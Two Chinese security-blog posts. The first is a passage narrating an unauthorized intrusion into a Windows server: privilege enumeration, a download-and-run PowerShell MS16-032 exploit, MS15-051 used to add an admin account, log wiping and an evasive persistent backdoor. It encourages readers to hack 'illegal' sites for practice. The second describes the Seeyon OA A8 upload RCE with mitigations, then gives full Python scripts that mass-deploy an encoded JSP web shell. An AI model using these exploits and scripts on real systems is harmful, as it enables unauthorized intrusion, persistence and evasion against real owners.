-------------------------------------------------------------------------------

Administrator            APP_IWAM_9624056         Guest                    

MYSQL_USER               PhpMyAdmin_USER          

命令运行完毕,但发生一个或多个错误。



D:\www\xxxxxxxx.com\about> whoami /priv

特权信息

----------------------

特权名                  描述                 状态  

======================= ==================== ======

SeChangeNotifyPrivilege 绕过遍历检查         已启用

SeImpersonatePrivilege  身份验证后模拟客户端 已启用

SeCreateGlobalPrivilege 创建全局对象         已启用



看到有SeImpersonatePrivilege  权限,期间还是用过MSF的incognito模块来进行会话令牌冒用,均已失败告终。



查看是否存在域环境,准备找其他域内机器攻克,但是结果是单域。

D:\www\xxxxxxxx.com\about> net user /domain

这项请求将在域 WORKGROUP 的域控制器处理。

发生系统错误 1355。

指定的域不存在,或无法联系。

 

D:\www\xxxxxxxx.com\about> whoami /all

用户信息

----------------

用户名            SID     

================= ========

nt authority\iusr S-1-5-17

组信息

-----------------

组名                                 类型   SID          属性                          

==================================== ====== ============ ==============================

Mandatory Label\High Mandatory Level 标签   S-1-16-12288                               

Everyone                             已知组 S-1-1-0      必需的组, 启用于默认, 启用的组

BUILTIN\Users                        别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组

NT AUTHORITY\SERVICE                 已知组 S-1-5-6      只用于拒绝的组                

控制台登录                           已知组 S-1-2-1      必需的组, 启用于默认, 启用的组

NT AUTHORITY\Authenticated Users     已知组 S-1-5-11     必需的组, 启用于默认, 启用的组

NT AUTHORITY\This Organization       已知组 S-1-5-15     必需的组, 启用于默认, 启用的组

LOCAL                                已知组 S-1-2-0      必需的组, 启用于默认, 启用的组

特权信息

----------------------

特权名                  描述                 状态  

======================= ==================== ======

SeChangeNotifyPrivilege 绕过遍历检查         已启用

SeImpersonatePrivilege  身份验证后模拟客户端 已启用

SeCreateGlobalPrivilege 创建全局对象         已启用

 

查看具有管理权限的账户列表:

D:\www\xxxxxxxx.com\about> net localgroup administrators

别名     administrators

注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------

Administrator

命令成功完成。

 

查看网卡配置:

D:\www\xxxxxxxx.com\about> ipconfig /all

Windows IP 配置

   主机名  . . . . . . . . . . . . . : WIN-xxxxxxxxxxx

   主 DNS 后缀 . . . . . . . . . . . : 

   节点类型  . . . . . . . . . . . . : 混合

   IP 路由已启用 . . . . . . . . . . : 否

   WINS 代理已启用 . . . . . . . . . : 否

以太网适配器 本地连接 2:

   连接特定的 DNS 后缀 . . . . . . . : 

   描述. . . . . . . . . . . . . . . : Intel(R) I350 Gigabit Network Connection #2

   物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-CB

   DHCP 已启用 . . . . . . . . . . . : 是

   自动配置已启用. . . . . . . . . . : 是

   本地链接 IPv6 地址. . . . . . . . : fe80::xxx:xxx:xxx:887d%13(首选) 

   自动配置 IPv4 地址  . . . . . . . : 169.254.136.125(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.0.0

   默认网关. . . . . . . . . . . . . : 

   DHCPv6 IAID . . . . . . . . . . . : 301999504

   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-24-A2-67-59-xx-xx-xx-xx-xx-CA

   DNS 服务器  . . . . . . . . . . . : fec0:0:0:ffff::1%1

                                       fec0:0:0:ffff::2%1

                                       fec0:0:0:ffff::3%1

   TCPIP 上的 NetBIOS  . . . . . . . : 已启用

以太网适配器 本地连接:

   连接特定的 DNS 后缀 . . . . . . . : 

   描述. . . . . . . . . . . . . . . : Intel(R) I350 Gigabit Network Connection

   物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-CA

   DHCP 已启用 . . . . . . . . . . . : 否

   自动配置已启用. . . . . . . . . . : 是

   本地链接 IPv6 地址. . . . . . . . : fe80::xxx:xxx:xxx:ef33%11(首选) 

   IPv4 地址 . . . . . . . . . . . . : x.x.x.25(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.130(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.131(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.132(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.133(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.134(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.135(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   

查看arp配置:

D:\www\xxxxxxxx.com\about> arp -a

???: x.x.x.25 --- 0xb

  Internet ???         ???????              ????

  x.x.x.24           00-25-90-88-a5-b2     ???        

  x.x.x.60           44-4c-a8-81-12-08     ???        

  x.x.x.61           44-4c-a8-80-e1-21     ???        

  x.x.x.62           00-1c-73-00-00-02     ???        

  x.x.x.63           ff-ff-ff-ff-ff-ff     ???        

  x.x.x.191          ff-ff-ff-ff-ff-ff     ???        

  x.x.x.127          ff-ff-ff-ff-ff-ff     ???        

  x.x.x.63          ff-ff-ff-ff-ff-ff     ???        

  x.x.x.255        ff-ff-ff-ff-ff-ff     ???        

  224.0.0.22            01-00-5e-00-00-16     ???        

  224.0.0.252           01-00-5e-00-00-fc     ???        

???: 169.254.136.125 --- 0xd

  Internet ???         ???????              ????

  169.254.255.255       ff-ff-ff-ff-ff-ff     ???        

  224.0.0.22            01-00-5e-00-00-16     ???        

  224.0.0.252           01-00-5e-00-00-fc     ???        

  255.255.255.255       ff-ff-ff-ff-ff-ff     ???        





在shell的虚拟终端中执行systeminfo结果如下:



D:\www\xxxxxxxx.com\about> systeminfo

主机名:           WIN-xxxxxxxx

OS 名称:          Microsoft Windows Server 2008 R2 Enterprise 

OS 版本:          6.1.7601 Service Pack 1 Build 7601

OS 制造商:        Microsoft Corporation

OS 配置:          独立服务器

OS 构件类型:      Multiprocessor Free

注册的所有人:     Windows 用户

注册的组织:       

产品 ID:          00486-OEM-8400691-20006

初始安装日期:     2019/5/26, 14:13:48

系统启动时间:     2019/8/18, 17:17:23

系统制造商:       Supermicro

系统型号:         X9DRD-iF

系统类型:         x64-based PC

处理器:           安装了 2 个处理器。

                  [01]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~1180 Mhz

                  [02]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~1180 Mhz

BIOS 版本:        American Megatrends Inc. 1.0b, 2012/10/5

Windows 目录:     C:\Windows

系统目录:         C:\Windows\system32

启动设备:         \Device\HarddiskVolume1

系统区域设置:     zh-cn;中文(中国)

输入法区域设置:   zh-cn;中文(中国)

时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐

物理内存总量:     32,735 MB

可用的物理内存:   25,878 MB

虚拟内存: 最大值: 65,469 MB

虚拟内存: 可用:   39,898 MB

虚拟内存: 使用中: 25,571 MB

页面文件位置:     C:\pagefile.sys

域:               WORKGROUP

登录服务器:       暂缺

修补程序:         暂缺

网卡:             安装了 2 个 NIC。

                  [01]: Intel(R) I350 Gigabit Network Connection

                      连接名:      本地连接

                      启用 DHCP:   否

                      IP 地址

                        [01]: x.x.x.x

                        .........N......

                        

出现修补程序状态为暂缺的情况下一般是shell的权限不够,后来登录后执行systeminfo的结果印证:



修补程序:         安装了 2 个修补程序。

                  [01]: KB2999xxx

                  [02]: KB976xxx

那就只有使用cmd命令来猜测是否打了一些常见的本地提权补丁


systeminfo>temp.txt&(for %i in (KB952004 KB970483 KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3011780 KB3036220 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3124280 KB3141780 KB4013389) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt  




D:\www\xxxxxxxxxxx.com\about> systeminfo>temp.txt&(for %i in (KB952004 KB970483 KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3011780 KB3036220 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3124280 KB3141780 KB4013389) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt
KB952004 Not Installed!  
KB970483 Not Installed!  
KB977165 Not Installed!  
KB2160329 Not Installed!  
KB2503665 Not Installed!  
KB2592799 Not Installed!  
KB2707511 Not Installed!  
KB2829361 Not Installed!  
KB2850851 Not Installed!  
KB3000061 Not Installed!  
KB3011780 Not Installed!  
KB3036220 Not Installed!  
KB3045171 Not Installed!  
KB3077657 Not Installed!  
KB3079904 Not Installed!  
KB3134228 Not Installed!  
KB3143141 Not Installed!  
KB3124280 Not Installed!  
KB3141780 Not Installed!  
KB4013389 Not Installed! 

 



MS16-032 windows本地提权

补丁编号: KB3124280

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test!@#123 /add'" >>1.log





根据1.log记录,宣告失败:

                

    |  V  |  |  | |  _||   |  |  |

    |     |
  || || . || | |  |  |

    |
|||__|
||   ||||

                                        

                   [by b33f -> @FuzzySec]



[?] Operating system core count: 24

[>] Duplicating CreateProcessWithLogonW handles..

[!] No valid thread handles were captured, exiting!



ATM 字体驱动程序中的漏洞可能允许特权提升

漏洞代号: MS15-077

补丁编号: KB3077657

exp 用途: 字体提权

适应平台: 可能该exp 32位系统好使,64位均未成功



D:\www\xxxxxxxxxxx.com\about> elevator.exe

HT Windows Font Exploit modify by skyer

Usage: exp.exe "net user t00ls t00ls /ad"



D:\www\xxxxxxxxxxx.com\about> elevator.exe "net user helps helps@!#me /add"

D:\www\xxxxxxxxxxx.com\about> net user

\ 的用户帐户

-------------------------------------------------------------------------------

Administrator            APP_IWAM_9624056         Guest                    

MYSQL_USER               PhpMyAdmin_USER          

命令运行完毕,但发生一个或多个错误。



宣告失败!



Windows内核模式驱动CVE-2015-1680信息泄露漏洞

漏洞代号: MS15-051

补丁编号: KB3045171

exp 用途: 本地提权

适应平台: 08 以后的系统基本都可以,成功率较高,菜刀直接可用



D:\www\xxxxxxxxxx.com\about> ms15-051.exe

[#] ms15-051 fixed by zcgonvh

[#] usage: ms15-051 command 

[#] eg: ms15-051 "whoami /all" 



这里受到 在mysql提权时的影响,把系统当成了32位,忘了上面通过systeminfo得到的系统架构信息是X64位

D:\www\xxxxxxxxxx.com\about> ms15-051.exe whoami

[#] ms15-051 fixed by zcgonvh

[x] please re-compiler this program via x64 platform 



换用 ms15-051x64成功

Snipaste_2019-10-02_17-53-36.png

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe

[#] ms15-051 fixed by zcgonvh

[#] usage: ms15-051 command 

[#] eg: ms15-051 "whoami /all" 

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe whoami

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 19140 created.

==============================

nt authority\system

 

D:\www\xxxxxxxxxx.com\about> whoami

nt authority\iusr

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe whoami

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 19644 created.

==============================

nt authority\system

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP help@!#me123 /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 25540 created.

==============================

密码不满足密码策略的要求。检查最小密码长度、密码复杂性和密码历史的要求。

请键入 NET HELPMSG 2245 以获得更多的帮助。

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP HELP@!#me123@@@ /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 19788 created.

==============================

输入的密码超过了 14 个字符。安装了 Windows 2000 

以前的 Windows 版本的计算机将不能使用

此帐户。您想继续进行操作吗? (Y/N) [Y]: 

没有提供有效的响应。



这个时候尝试了使用空密码,的确是可以创建并且加入管理员组:

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 22168 created.

==============================

命令成功完成。



D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net localgroup Administrators HELP /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 22040 created.

==============================

命令成功完成。



这个时候准备登录:需要知道远程桌面端口,于是使用读取注册表的16进制值来获得:

在命令行下执行:  



REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber



返回:  



PortNumber    REG_DWORD    0x4cfe  



随后拿出来 0x4cfe ,转换成10进制,Windows下可以用计算器的程序员模式,

选择HEX输入 4cfe 即可得到10进制的端口号19710



但是登录的时候提示由于策略原因禁止空密码登录,稍微新一点系统都是禁止空密码登录的。



这时候当然去找google搜索是最快的阿!



最终成功设置了一个符合策略要求的密码:



D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP 123789456=love"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 13012 created.

==============================

命令成功完成。

Snipaste_2019-10-02_18-10-00.png

加入管理员组:

Snipaste_2019-10-02_18-10-46.png

还有一种策略就是激活Guest帐户,但是我又担心策略组禁止Guest帐户登录就白忙活了,可自行尝试!



然后使用的密码成功登录,进去清理掉日志,痕迹,打扫战场,深藏功与名!哈哈哈

Snipaste_2019-10-02_18-19-33.png

不可能阿,这个系统里面全是非法彩票网站,最终跳转导向到菠菜!那咋办呢?盘他!必须安排!



先把所有网站的首页文件全部替换成公益404页面,美滋滋!

再留一个面杀后门修改系统进程加上参数后自动将后门注入系统进程,同时禁止安装任何杀软!除非它重装系统!



收工,休息下继续下一波非法网站搜集!

需要练习技能的朋友可以批量采集非法网站作为练习对象!正规网站需要取得授权才能测试!

切忌装逼!保护好自己!

禁止挂黑页的傻屌行为!

全程远程堡垒机操作,全程VPN!

最简单的就是随便找一家服务商开一台机器,VPN连上去,搞完销废机器!



参考:

https://github.com/SecWiki/windows-kernel-exploits

https://www.eviloctal.com/archiver/tid-25278.html

https://klionsec.github.io/2017/04/22/win-0day-privilege/

https://xz.aliyun.com/t/2199

admin 发布于  2019-10-13 11:30 

seeyon_rce致远getshell 0day poc批量检测脚本——致远 OA A8 Getshell 漏洞 业界新闻

致远 OA A8 Getshell .png

本文主要是对于昨日大概晚间八点左右在网上出现的关于致远 OA A8 协同管理软件被曝存在远程代码执行漏洞0day,且目前已有漏洞被在野利用,在中、大型政府企业中都广泛使用。文末给出致远getshell 0day poc批量检测脚本(python版本)

已验证影响版本:

A8 V7.0 SP3

A8 V6.1 SP2

(V6.1 SP1 验证尚不存在,其他版本未验证)

漏洞成因:

致远 A8+ 某些版本系统,存在远程任意文件上传文件上传漏洞,并且无需登录即可触发。攻击者构造恶意文件,成功利用漏洞后可造成Getshell。同时该系统的漏洞点在于致远OA-A8系统的Servlet接口暴露,安全过滤处理措施不足,使得用户在无需认证的情况下实现任意文件上传。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的网站后门文件,从而获取目标服务器权限,在目标服务器上执行任意代码。

影响范围:

通过知道创宇旗下ZoomEye网络空间搜索引擎搜索结果,全球共有29,425个致远OA系统开放记录,中国为29,247个大部分分布在北京、广东、四川等省。

目前利用代码已在野外公开,漏洞验证效果如下,成功getshell样例截图:

成功getshell.png  

缓解措施:

漏洞位置为:/seeyon/htmlofficeservlet,可以对该地址配置ACL规则。

或者联系官方获取补丁程序,官网地址:http://www.seeyon.com/Info/constant.html

临时修补方案如下:

1、 配置URL访问控制策略;

2、在公网部署的致远A8+服务器,通过ACL禁止外网对“/seeyon/htmlofficeservlet”路径的访问;

3、 对OA服务器上的网站后门文件进行及时查杀。

附上验证POC,致远getshell 0day poc批量检测脚本如下:

使用方法:

批量检测url

在脚本同目录下建立url.txt

放入待检测的URL运行脚本

分别为python2和python3版本:

# Wednesday, 26 June 2019
# Author:nianhua
# Blog:https://github.com/nian-hua/
# python2 版本

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="

    payload = base64.b64decode(payload)

    try:

        r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)

        r = requests.get(
            url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')

        if "wangming" in r.text:

            return url

        else:

            return 0

    except:

        return 0

def remove_control_chars(s):
    control_chars = ''.join(map(unichr, range(0,32) + range(127,160)))

    control_char_re = re.compile('[%s]' % re.escape(control_chars))

    s = control_char_re.sub('', s)

    if 'http' not in s:

        s = 'http://' + s

    return s

def savePeopleInformation(url, queue):

    newurl = send_payload(url)

    if newurl != 0:

        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()

    queue.put(url)

def main():

    pool = Pool(10)

    queue = Manager().Queue()

    fr = open('url.txt', 'r')

    lines = fr.readlines()

    for i in lines:

        url = remove_control_chars(i)

        pool.apply_async(savePeopleInformation, args=(url, queue,))

    allnum = len(lines)

    num = 0

    while True:

        print queue.get()

        num += 1

        if num >= allnum:

            fr.close()

            break

if "__main__" == __name__:

    main()


# Wednesday, 26 June 2019
# Author:nianhua
# Blog:https://github.com/nian-hua/
# python3 版本

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="

    payload = base64.b64decode(payload)

    try:

        r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)

        r = requests.get(
            url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')

        if "wangming" in r.text:

            return url

        else:

            return 0

    except:

        return 0

def remove_control_chars(s):
    control_chars = ''.join(map(chr, list(range(0,32)) + list(range(127,160))))

    control_char_re = re.compile('[%s]' % re.escape(control_chars))

    s = control_char_re.sub('', s)

    if 'http' not in s:

        s = 'http://' + s

    return s

def savePeopleInformation(url, queue):

    newurl = send_payload(url)

    if newurl != 0:

        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()

    queue.put(url)

def main():

    pool = Pool(10)

    queue = Manager().Queue()

    fr = open('url.txt', 'r')

    lines = fr.readlines()

    for i in lines:

        url = remove_control_chars(i)

        pool.apply_async(savePeopleInformation, args=(url, queue,))

    allnum = len(lines)

    num = 0

    while True:

        print(queue.get())

        num += 1

        if num >= allnum:

            fr.close()

            break

if "__main__" == __name__:

    main()

admin 发布于  2019-6-27 20:19